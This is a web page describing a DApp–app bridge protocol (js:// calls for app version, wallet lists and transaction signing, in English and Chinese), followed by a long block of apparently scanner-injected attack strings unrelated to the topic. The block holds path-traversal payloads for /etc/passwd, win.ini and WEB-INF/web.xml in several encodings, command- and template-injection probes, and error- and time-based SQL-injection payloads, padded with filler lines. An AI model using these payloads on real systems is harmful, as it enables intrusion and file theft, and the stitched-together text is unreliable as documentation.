求一个DAPP规则说明

dapp规则分为两类

1. dapp获取app数据：通过挂载自己的方法到全局，接收app发来的数据

1. app获取dapp数据：通过设置导航来给app数据

以上便是dapp规则的使用方法，具体原理请看这篇

1. The version number of the app requested by the front end

js://GetAppVersion

2. App returns the current version

javascript:window.sendAppVersion(‘ version : Int’)

3. Front End Request for Local Wallet List  

js://GetAllWallet  

4. app call returns wallet data to front end, jsonArray = [{name:name, address:wallet address, pubkeyhash:public key hash}]

javascript:window.getAppHtmlPukey('jsonArray.toString()' )

5.Called after the front end selects the wallet, returning the selected wallet address,data =the selected wallet address

js://ChooseWalletCallback?data=xxx

6. Transaction processing: Front-end call, data is unsigned transaction, called after successful broadcast of transaction signature  

js://setTransaction?data=xxx

7. Return Data to Front End

javascript:window.getAppTransResult( 'json')json = {code = 0, data= null,msg = ""}  

code=0 Indicate success

data = {

transactionHash: "transaction hash",

blockHash:"block hash",

blockHeight:"block height",

fee:"Service Charge"

}

8.Refresh Page Function, App-side Call

javascript:window.initGetMatrix()

URL：https://wisdom-chain.medium.com/dapp-api-rule-document-1-0-released-142eb025dfa4

1、前端请求App的版本号；js://GetAppVersion 

2、App 回传 当前版本；javascript:window.sendAppVersion(‘ version : Int’) 

3、前端请求获取本地钱包列表；js://GetAllWallet

 4、App 调用回传钱包数据给前端；jsonArray = [{name: 名字, address: 钱包地址, pubkeyhash: 公钥hash}]javascript:window.getAppHtmlPukey('jsonArray.toString()' )

 5、前面选择钱包后调用,回传选择钱包地址  data为选择的钱包地址；js://ChooseWalletCallback?data=xxx 

6、事务处理: 前端调用, data为未签名的事务；js://setTransaction?data=xxx 

7、事务签名广播成功后调用，回传数据给前端；javascript:window.getAppTransResult( 'json')json = {code = 0, data= null,msg = ""}  code=0 表示成功data = {

transactionHash: "事务hash",

blockHash:"区块hash",

blockHeight:"区块高度",

fee:"手续费"

}

 8、刷新页面函数,App端调用。javascript:window.initGetMatrix()

555

555

555

555

]>&content;

555

../../../../../../../../../../../../../../../../../../etc/passwd

./../../../../../../../../../../../../../../../../../../etc/passwd

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

555 expr 846778572 + 874017107

555|expr 888072408 + 914205667

opvctoqxdxhtoayfuwqh

555$(expr 941027403 + 894914068)

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215etc%u2215passwd

../../../../../../etc/passwd

555

/*1*/{{820385633+843424805}}

${@var_dump(md5(516497672))};

./../../../../../../etc/passwd

'-var_dump(md5(813331674))-'

555

555

555&set /A 930518259+874807922

555

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215etc%u2215passwd

555

555

/etc/passwd

555

555

555

%2fetc%2fpasswd

555

555

%u2215etc%u2215passwd

555

${861567270+831026311}

555

555

expr 949867789 + 826432117

555

555

555

555

555

555

555

..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.ini

.\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.ini

555

%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin%2eini

555

555

555

%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216Windows%u2216win%u002eini

${959800879+847535091}

${(922555874+899943225)?c}

555

555

555

#set($c=906194232+993398688)${c}$c

<%- 872614009+971247581 %>

555

..\..\..\..\..\..\Windows\win.ini

555

555

.\..\..\..\..\..\..\Windows\win.ini

555

555

555

%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin%2eini

555

555

%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216Windows%u2216win%u002eini

555

../../../../../../../../../../../../../../../../../../Windows/win.ini

555

./../../../../../../../../../../../../../../../../../../Windows/win.ini

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fwin%2eini

555

555

555

555

555

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215Windows%u2215win%u002eini

555

555

555

555

555

555

555

555'and/**/extractvalue(1,concat(char(126),md5(1193449888)))and'

555"and/**/extractvalue(1,concat(char(126),md5(1689632456)))and"

extractvalue(1,concat(char(126),md5(1646806141)))

../../../../../../Windows/win.ini

555'and(select'1'from/**/cast(md5(1985632228)as/**/int))>'0

555/**/and/**/cast(md5('1653795150')as/**/int)>0

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1797501038')))

./../../../../../../Windows/win.ini

555'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1583314441')))>'0

555鎈'"\(

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fwin%2eini

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215Windows%u2215win%u002eini

WEB-INF/web.xml

555'"\(

WEB-INF/web.xml;555

../WEB-INF/web.xml

../WEB-INF/web.xml;555

../../WEB-INF/web.xml

../../WEB-INF/web.xml;555

../../../WEB-INF/web.xml

../../../WEB-INF/web.xml;555

../../../../WEB-INF/web.xml

../../../../WEB-INF/web.xml;555

555/**/and+4=4

555/**/and+3=7

555

555'and'o'='o

555

555'and'i'='p

555"and"z"="z

555

555"and"v"="v

555

(select*from(select+sleep(0)union/**/select+1)a)

555

(select*from(select+sleep(3)union/**/select+1)a)

555

555

555

555

555'and(select*from(select+sleep(0))a/**/union/**/select+1)='

555'and(select*from(select+sleep(3))a/**/union/**/select+1)='

555"and(select*from(select+sleep(0))a/**/union/**/select+1)="

555

555

555

555"and(select*from(select+sleep(3))a/**/union/**/select+1)="

555"and(select*from(select+sleep(4))a/**/union/**/select+1)="

555/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

555/**/and(select+1/**/from/**/pg_sleep(3))>0/**/

555

555

555

555'/**/and(select'1'from/**/pg_sleep(0))>'0

555'/**/and(select'1'from/**/pg_sleep(3))>'0

555/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

555

555/**/and(select+1)>0waitfor/**/delay'0:0:3'/**/

555

555

555

555'and(select+1)>0waitfor/**/delay'0:0:0

555

555

555

555

555

555

555

555/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('d',0)

555/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('o',3)

555'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('m',0)='m

555'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('f',3)='f

555

555

555

555

555

555

555

555

555

555

555